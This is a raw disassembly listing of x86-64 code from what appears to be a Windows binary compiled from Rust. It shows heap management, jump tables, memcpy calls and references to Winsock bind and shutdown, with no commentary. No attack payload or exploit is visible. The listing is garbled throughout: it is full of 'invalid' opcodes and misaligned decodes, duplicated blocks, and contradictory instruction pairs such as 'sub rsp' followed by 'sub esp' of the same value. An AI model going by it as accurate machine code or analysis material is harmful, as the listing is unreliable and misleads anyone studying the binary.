and al, 0xb8
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0xb0]
jne 0x14003d5fc
invalid
add cl, ch
invalid
jmp case.0x14003d4f8.1
cmp rax, 7
ja case.0x14003d52a.1
lea rcx, [0x140208588]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r13, rsi
test rdi, rdi
je case.0x14003d52a.1
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0xa8]
cmp rcx, 9
je case.0x14003d578.1
cmp rcx, 7
ja case.0x14003d578.1
mov r8, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xb8]
lea rdx, [0x1402085a8]
sbb al, 0
sbb al, 0
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rsi, r8
test rax, rax
je case.0x14003d578.1
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r13, [rsp + 0xa8]
jmp 0x14003d328
cmp qword [rsp + 0xb8], 0
je 0x14003d5c3
mov r8, qword [rsp + 0xb0]
mov rcx, qword [0x140215360]
and al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
or eax, 0x1d7da5
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0xd0], 0
je 0x14003d5e5
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0xe8], 0
lea rax, [rsp + 0xe0]
lea eax, [rsp + 0xe0]
lea eax, [rsp + 0xe0]
je case.0x14003d4f8.1
mov r8, qword [rax]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp case.0x14003d4f8.1
mov rbp, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
mov r13, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
test rdi, rdi
je 0x14003d641
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15, r15
je 0x14003d658
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
lea r15, [rsp + 0x40]
mov rbp, qword [rsp + 0xa0]
jne 0x14003d534
jmp case.0x14003d52a.1
mov r13, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
test rax, rax
je 0x14003d6a7
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
je 0x14003d6be
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rdi, rdi
jne 0x14003d582
jmp case.0x14003d578.1
mov rax, qword [rsp + 0x110]
mov byte [rax + 0x20], reloc.WS2_32.dll_shutdown
jmp 0x14003d721
mov rax, rbp
shr rax, 8
mov rdx, qword [rsp + 0x110]
mov qword [rdx], rsi
mov qword [rdx + 8], rdi
mov rcx, qword [rsp + 0x98]
mov qword [rdx + 0x10], rcx
mov rcx, qword [rsp + 0x90]
mov qword [rdx + 0x18], rcx
mov byte [rdx + 0x20], bpl
mov rcx, rbp
shr rcx, 0x38
mov byte [rdx + 0x27], cl
shr rbp, 0x28
mov word [rdx + 0x25], bp
mov dword [rdx + 0x21], eax
movaps xmm6, xmmword [rsp + 0x180]
movaps xmm7, xmmword [rsp + 0x190]
add rsp, 0x1a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
mov rdx, rsi
call fcn.140160ed0
ud2
mov rax, rdi
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x188
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
adc al, byte [rax]
mov qword [rdi + 0x218], rbx
movdqu xmmword [rdi + 0x220], xmm6
xor eax, eax
ror byte [rax - 0x7d], 0x3e
add byte [rdi], cl
xchg ebp, eax
ror byte [rax - 0x73], 0x4c
lea ecx, [rsp + 0x40]
ror byte [rax - 0x7d], 0x3e
add byte [rdi], cl
xchg ebp, eax
ror byte [rax - 0x73], 0x4c
lea ecx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
cmovne rcx, rsi
mov qword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x168], rcx
lea rcx, [0x1401da47d]
lea r14, [0x140204680]
cmove rcx, r14
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rax
mov rax, qword [rdi + 0x40]
mov rcx, qword [rdi + 0x50]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rcx
lea rax, [rsp + 0x168]
mov qword [rsp + 0x70], rax
lea rax, [0x14002e5a0]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x80], rax
lea r15, [0x14009a1b0]
mov qword [rsp + 0x88], r15
lea rbp, [rsp + 0x140]
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0x98], r15
lea rax, [0x14016a278]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 3
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 3
lea rbx, [rsp + 0x128]
sub byte [rcx], al
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
lea rdx, [rsp + 0xe0]
mov rcx, rbx
call fcn.140014120
cld
dec dword [rax - 0x7d]
jl 0x140044947
invalid
invalid
je 0x14004493b
invalid
add byte [rax], al
add byte [rax - 0x77], cl
fld1
add eax, edi
cld
dec dword [rax - 0x7d]
jl 0x140044947
add byte [rsp + rdx + 0x4c], sil
adc al, 0x4c
mov r8, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
sub eax, 0x31001d0a
sar bh, cl
adc eax, 0x1236ed
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rsp + 0x128]
add byte [rax], 0
add byte [rdi], cl
adc byte [rsp + 0x128], al
movaps xmmword [rsp + 0x70], xmm0
lea rsi, [rdi + 0x160]
mov r8, qword [rdi + 0x160]
test r8, r8
je 0x140044984
cmp qword [rdi + 0x168], 0
je 0x140044984
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
mov eax, dword [rsp + 0x80]
mov qword [rsi + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x70]
adc byte [rsi + 0xf], r12b
outsd dx, dword [rsi]
and al, 0x70
movdqu xmmword [rsi], xmm0
movq qword [rsi], mm0
cmp qword [rdi + 0x148], 0
jne 0x140044b0d
mov rax, qword [r13 + 0x148]
test r12b, r12b
je 0x1400449e2
lea r12, [rdi + 0x148]
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x148], rax
mov rax, qword [rdi + 0x40]
mov rcx, qword [rdi + 0x50]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], rcx
mov dword [rsp + 0x130], ecx
mov dword [rsp + 0x130], ecx
lea rax, [rsp + 0x118]
mov qword [rsp + 0x70], rax
and al, 0x70
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x70
and al, 0x70
and al, 0x70
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], rbp
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x98
cwde
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1257f1
adc al, byte [rax]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x98
cwde
cwde
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1257f1
adc al, byte [rax]
adc al, byte [rax]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 3
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rbx], al
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x70]
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 3
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xe0]
call fcn.140014120
mov r8, qword [rdi + 0x148]
test r8, r8
je 0x140044af7
cmp qword [rdi + 0x150], 0
je 0x140044af7
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x50]
mov qword [r12 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x40]
movdqu xmmword [r12], xmm0
mov rcx, rdi
call fcn.140024ff0
cmp qword [rsp + 0x60], 0
je 0x140044473
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
mov ecx, dword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x1234f3
adc eax, 0x1234f3
jmp 0x140044473
dec dword [rcx + rcx*4 - 0x4c]
and al, 0x18
add dword [rax], eax
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x120], 0
xor eax, eax
jmp 0x140044a1f
add byte [rax], al
add byte [rcx], dh
shr cl, 0xca
invalid
int3
ret 0x840f
invalid
cmp rcx, rdx
cmova rdx, rcx
cmp rdx, 5
cli
add eax, 0x4bf
add byte [rax + 0xf], cl
cli
cli
add eax, 0x4bf
add byte [rax + 0xf], cl
cli
xor edx, edx
mov rcx, rdi
shr rcx, 0x3a
sete dl
mov r8, rdi
shl r8, 5
loopne 0x140044bf6
loopne 0x140044bf6
shl rdx, 3
test rax, rax
test eax, eax
je 0x140044c16
mov rcx, qword [rsi]
shl rax, 5
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 8
xor byte [rax], cl
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x38
invalid
xor byte [rax], cl
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x38
invalid
cmp bl, ch
or dword [rax - 0x39], ecx
and al, 0x30
add byte [rax], al
add byte [rax], al
jmp 0x140044c1f
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
call fcn.140058090
cmp qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x48]
je 0x140044c56
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x140044c5d
test rcx, rcx
jne 0x140044c64
call fcn.1400138d0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.14015d7f0
ud2
and al, 0x30
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rsp + 0x31], cl
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x32], al
mov ebp, 3
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14005108b
jmp 0x140051075
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140051931
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140051931
mov rbx, rax
mov rcx, rax
mov rdx, r12
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
cmp r14, qword [rsp + 0x50]
je 0x1400510db
lea rax, [r14 + r14*2]
mov qword [r15 + rax*8], rbx
mov qword [r15 + rax*8 + 8], rbp
mov qword [r15 + rax*8 + 0x10], rbp
inc r14
mov qword [rsp + 0x58], r14
mov ebp, edi
jmp fcn.140050f5b
mov r8d, 1
lea rcx, [rsp + 0x48]
mov rdx, r14
call fcn.14015dbb0
mov r15, qword [rsp + 0x48]
jmp 0x1400510ba
jl 0x14005114d
mov dword [rsp + 0x20], 2
add byte [rbp + rcx*4 + 0xd], cl
push rsp
xchg ebx, eax
sbb byte [rax], al
lea r9, [0x1401da468]
lea rcx, [rsp + 0x48]
lea ecx, [rsp + 0x48]
mov rdx, r15
mov r8, r14
invalid
call fcn.140021050
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x80], xmm0
test r14, r14
je 0x140051170
invalid
lea rdi, [r15 + 8]
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140051159
add bl, ch
or dword [rax - 0x7d], ecx
invalid
cmp qword [rdi], 0
je 0x140051150
shr ebx, cl
loopne 0x1400511b9
test rsi, rsi
test esi, esi
je 0x140051187
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x90], 0
mov rbx, qword [rsp + 0xd0]
je 0x140051251
rol byte [rax], 0
add byte [rax - 0x73], cl
add eax, 0x11a85c
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x48]
call fcn.140014120
mov rdx, qword [rsp + 0xb0]
cmp rdx, qword [rsp + 0xa8]
add byte [rbp + 0x15], dh
add byte [rbp + 0x15], dh
lea rcx, [rsp + 0xa0]
add byte [rax], al
call fcn.14004ef00
mov rdx, qword [rsp + 0xb0]
xchg esp, eax
and al, 0xb0
add byte [rax], al
invalid
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
and al, 0xa0
mov rax, qword [rsp + 0xa0]
lea rcx, [rdx + rdx*2]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x73], cl
or al, 0x52
mov r8, qword [rsp + 0x40]
mov qword [rax + rcx*8 + 0x10], r8
movups xmm0, xmmword [rsp + 0x30]
xor byte [rdi], cl
adc dword [rax + rcx*8], eax
xor byte [rdi], cl
adc dword [rax + rcx*8], eax
inc rdx
mov qword [rsp + 0xb0], rdx
cmp qword [rsp + 0x88], 0
je 0x140051273
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12b, 0x20
jne 0x14005129e
mov qword [rsp + 0xb8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
adc dword [rsp + 0xc0], eax
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
adc dword [rsp + 0xc0], eax
invalid
invalid
adc dword [rsp + 0xc0], eax
test r12d, 0x800
je 0x1400512cf
invalid
jmp 0x140051684
mov r8, qword [rbx + 0x1a0]
test r8, r8
je 0x1400514c2
mov rdx, qword [rbx + 0x190]
lea rcx, [rsp + 0xb8]
call fcn.140023c50
test r12d, 0x800
jne 0x140051684
mov rax, qword [rsp + 0xc8]
test rax, rax
je 0x140051684
mov rcx, qword [rsp + 0xb8]
shl rax, 6
add rax, rcx
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x48]
lea rsi, [rsp + 0xd8]
mov rdx, rsi
call fcn.140051f70
cmp qword [rsp + 0x48], 0
je 0x14005150d
mov rsi, qword [rsp + 0xd8]
mov esi, dword [rsp + 0xd8]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne case.0x14003207d.178
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400518f1
mov rcx, rax
mov ecx, eax
mov qword [0x140215360], rax
mov r8d, 0x60
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x116cd6
adc eax, 0x116cd6
test rax, rax
je 0x1400518f1
invalid
invalid
invalid
add byte [rax], al
test byte [rsi + 0x49000005], al
mov esp, eax
mov r12, rax
mov r14d, ebp
mov rax, qword [rsp + 0x60]
mov qword [r12 + 0x10], rax
mov dword [rsp + 0x10], eax
mov dword [rsp + 0x10], eax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [r12], xmm0
mov qword [rsp + 0x30], r12
xor byte [rax - 0x39], cl
and al, 0x38
add al, 0
add byte [rax], al
invalid
xor byte [rax - 0x39], cl
and al, 0x38
add al, 0
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x40
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 1
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x80], rsi
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx - 0x41], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx - 0x41], al
add dword [rax], eax
add byte [rax], al
mov esi, 0x18
lea rdi, [rsp + 0x50]
lea r13, [rsp + 0x48]
lea rbp, [rsp + 0x80]
lea rbx, [rsp + 0x30]
jmp 0x1400513fd
mov rax, qword [rdi + 0x10]
mov qword [r12 + rsi + 0x10], rax
movups xmm0, xmmword [rdi]
movups xmmword [r12 + rsi], xmm0
inc r15
mov qword [rsp + 0x40], r15
add rsi, 0x18
mov rcx, r13
mov rdx, rbp
call fcn.140051f70
cmp qword [rsp + 0x48], 0
je 0x140051429
cmp r15, qword [rsp + 0x38]
jne 0x1400513e0
mov rcx, rbx
mov rdx, r15
call fcn.14004ef00
mov r12, qword [rsp + 0x30]
jmp 0x1400513e0
mov r12, qword [rsp + 0x30]
and al, 0x30
mov rsi, qword [rsp + 0x38]
mov qword [rsp + 0x20], 2
mov dword [rsp + 0x20], 2
mov dword [rsp + 0x20], 2
lea r9, [0x1401da468]
lea ecx, [0x1401da468]
lea rcx, [rsp + 0x80]
mov rdx, r12
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
mov r8, r15
call fcn.1400519e0
test r15, r15
mov ebp, r14d
je 0x140051495
lea rdi, [r12 + 8]
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140051479
add rdi, 0x18
dec r15
je 0x140051495
mov r8, qword [rdi - 8]
test r8, r8
je 0x140051470
cmp qword [rdi], 0
je 0x140051470
mov rcx, qword [0x140215360]
xor edx, edx
call rbx
jmp 0x140051470
test rsi, rsi
mov rbx, qword [rsp + 0xd0]
lea rsi, [rsp + 0xd8]
je 0x140051532
mov rcx, qword [0x140215360]
sbb al, 0
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
push 0xffffffffeb00116b
invalid
push 0xffffffffeb00116b
jo 0x140051504
test r12d, 0x400000
test esp, 0x400000
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x118b98
adc dword [rax], eax
lea rcx, [0x14016a068]
adc dword [rax], eax
lea rax, reloc.WS2_32.dll_bind
cmove rax, rcx
cmp dword [rbx + 0x78], 5
lea rcx, [rbx + 0x78]
cmovne rax, rcx
mov rdx, qword [rax]
lea rcx, [0x140204680]
invalid
xor dword [rbx], ebx
add byte [rbp + rcx*4 + 5], cl
add eax, 0x1b7144
add eax, 0x1b7144
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
lea rax, [0x14016a4d8]
jmp 0x14005162e
ror byte [rdi + 0x21e90011], 1
add dword [rax], eax
add byte [rax - 0x39], cl
mov dword [rsp + 0x20], 2
invalid
mov qword [rsp + 0x20], 2
mov dword [rsp + 0x20], 2
lea r9, [0x1401da468]
lea rcx, [rsp + 0x80]
mov edx, 8
xor r8d, r8d
call fcn.1400519e0
lea rax, [rsp + 0x80]
mov qword [rsp + 0xd8], rax
lea rax, [0x140005df0]
mov qword [rsp + 0xe0], rax
lea rax, str._possible_values:
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x48]
call fcn.140014120
mov r14, qword [rsp + 0xb0]
cmp r14, qword [rsp + 0xa8]
jne 0x1400515b6
lea rcx, [rsp + 0xa0]
mov rdx, r14
call fcn.14004ef00
mov r14, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xa0]
lea rcx, [r14 + r14*2]
mov rdx, qword [rsp + 0x40]
mov qword [rax + rcx*8 + 0x10], rdx
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rax + rcx*8], xmm0
inc r14
mov qword [rsp + 0xb0], r14
cmp qword [rsp + 0x88], 0
je 0x14005168c
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14005168c
lea rax, [0x14016a518]
jmp 0x14005162e
lea rax, [0x14016a558]
jmp 0x14005162e
lea rax, [0x14016a598]
jmp 0x14005162e
mov rcx, qword [rax + 8]
mov rax, qword [rax + 0x10]
call qword [rax + 0x30]
test rax, rax
je 0x140051279
mov r8, rdx
lea rcx, [rsp + 0x48]
mov rdx, rax
call fcn.140051d00
mov rax, qword [rsp + 0x48]
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x30], xmm0
test rax, rax
je 0x140051279
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xb8], rax
test r12d, 0x800
je 0x1400512cf
mov r14, qword [rsp + 0xb0]
test bpl, bpl
lea rax, [0x1401da47d]
lea r12, [0x1401de362]
cmove r12, rax
test r14, r14
je 0x140051717
cmp qword [rbx + 0x210], 0
je 0x140051717
cmp qword [rbx + 0x218], 0
je 0x140051717
xor r15d, r15d
test bpl, bpl
lea rdi, [0x14016abcd]
cmove rdi, rax
setne r15b
inc r15
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400516fe
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140051922
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140051922
mov r13, rax
jmp 0x140051727
mov r13d, 1
lea rdi, [0x140204680]
xor r15d, r15d
mov rcx, r13
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], r15
mov rbx, qword [rsp + 0xa0]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x48]
mov rdx, rbx
mov r8, r14
mov r9, r12
call fcn.140021050
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
test r14, r14
jne 0x14005189a
add r13, r15
mov rcx, r13
mov rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r15, r14
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0xf0]
mov qword [rax + 0x10], r15
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rax], xmm0
mov rsi, qword [rsp + 0xb8]
mov r14, qword [rsp + 0xc8]
test r14, r14
je 0x1400517f1
lea r15, [rsi + 0x18]
mov r13, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400517d9
add r15, 0x40
dec r14
je 0x1400517f1
cmp qword [r15], 0
je 0x1400517d0
mov r8, qword [r15 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call r13
jmp 0x1400517d0
cmp qword [rsp + 0xc0], 0
je 0x14005180e
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
je 0x140051851
lea r14, [rbx + 8]
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140051839
add r14, 0x18
dec rsi
je 0x140051851
cmp qword [r14], 0
je 0x140051830
mov r8, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call r15
jmp 0x140051830
cmp qword [rsp + 0xa8], 0
je 0x14005186e
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
je 0x140051885
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x30]
mov rdx, r15
mov r8, r14
call fcn.14015cc80
mov r13, qword [rsp + 0x30]
mov r15, qword [rsp + 0x40]
jmp 0x140051780
mov ecx, 8
mov edx, 0x60
call fcn.14015d7f0
ud2
mov ecx, 1
mov rdx, r15
call fcn.14015d7f0
ud2
mov ecx, 1
mov rdx, rbp
call fcn.14015d7f0
ud2
sub r8, r12
cmp eax, 0x20
jne 0x140052ca2
test r8, r8
je 0x140052c9e
or edx, r8d
mov r8, r9
jmp 0x140052c85
add eax, 0xfffffffe
and ecx, 0x1f
jmp 0x140052c8d
add eax, 0xfffffffd
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
invalid
movzx eax, al
or eax, ecx
cmp eax, 0x110000
jne 0x140052c26
invalid
xor esi, esi
jmp 0x140052cee
test rsi, rsi
js 0x140052d76
mov rcx, rbx
mov rdx, r12
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, rsi
jmp loc.140052b23
cld
dec dword [rdi]
or edi, dword [rcx + 1]
mov rdx, rsi
call fcn.14015d7f0
ud2
invalid
or ecx, esp
int3
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
sub esp, 0x48
sub esp, 0x48
mov rax, rdx
mov rdx, qword [rsp + 0xb8]
mov rbp, qword [rax + 0x20]
lea r10, [rdx + rbp]
dec r10
cmp r10, r9
jae 0x140052f8f
movzx esi, byte [rsp + 0xc0]
mov rdi, qword [rsp + 0xb0]
lea r14, [rdx - 1]
mov r15, qword [rax + 0x18]
mov r11, qword [rax]
mov qword [rsp + 0x28], r11
mov r11, qword [rax + 0x10]
pop rax
adc byte [rax - 0x77], cl
ror dword [rcx + rcx*4 + 0x5c], cl
and al, 0x40
invalid
pop rax
adc byte [rax - 0x77], cl
ror dword [rcx + rcx*4 + 0x5c], cl
and al, 0x40
invalid
sub rbx, r11
sub rbx, r11
mov qword [rsp + 0x38], rbx
mov r12, qword [rax + 0x30]
mov qword [rsp + 0x20], rcx
test sil, sil
je 0x140052e40
nop word cs:[rax + rax]
nop word cs:[rax + rax]
movzx r10d, byte [r8 + r10]
bt r15, r10
jb 0x140052e50
add rbp, rdx
mov qword [rax + 0x20], rbp
lea r10, [r14 + rbp]
lea r11, [r14 + rbp]
cmp r11, r9
jb 0x140052e10
jmp 0x140052f8f
movzx r10d, byte [r8 + r10]
bt r15, r10
jae 0x140052e54
mov rbx, r12
jmp 0x140052ea0
xor ebx, ebx
jmp 0x140052ea0
add rbp, rdx
mov qword [rax + 0x30], 0
lea r10, [r14 + rbp]
cmp r10, r9
jae 0x140052f8f
nop dword [rax]
movzx r11d, byte [r8 + r10]
bt r15, r11
jb 0x140052e93
add rbp, rdx
mov qword [rax + 0x30], 0
add r10, rdx
cmp r10, r9
jb 0x140052e70
jmp 0x140052f8f
xor ebx, ebx
xor r12d, r12d
nop dword [rax + rax]
mov r10, qword [rsp + 0x28]
cmp r10, r12
mov qword [rsp + 0x30], r12
mov rcx, r12
cmova rcx, r10
mov r12d, esi
mov esp, esi
mov esp, esi
test sil, sil
cmovne rcx, r10
cmp rcx, rdx
jae 0x140052ef0
lea r11, [r8 + rbp]
mov r10, rcx
nop word [rax + rax]
lea rsi, [r10 + rbp]
cmp rsi, r9
jae 0x140052ff6
sbb dword [rcx], eax
add byte [rax], al
sbb dword [rcx], eax
add byte [rax], al
movzx r13d, byte [rdi + r10]
cmp r13b, byte [r11 + r10]
jne 0x140052f47
invalid
inc r10
cmp rdx, r10
jne case.0x14003207d.184
ret 0x394c
mov r10, qword [rsp + 0x28]
and al, 0x28
mov esi, r12d
mov r12, qword [rsp + 0x30]
xor byte [rdi], cl
invalid
invalid
xor byte [rdi], cl
invalid
cmp rbx, r10
jae 0x140052f97
mov es, word [rax]
add byte [rax], al
mov es, word [rax]
add byte [rax], al
dec r10
cmp r10, rdx
jae 0x140052fd1
lea r11, [r10 + rbp]
cmp r11, r9
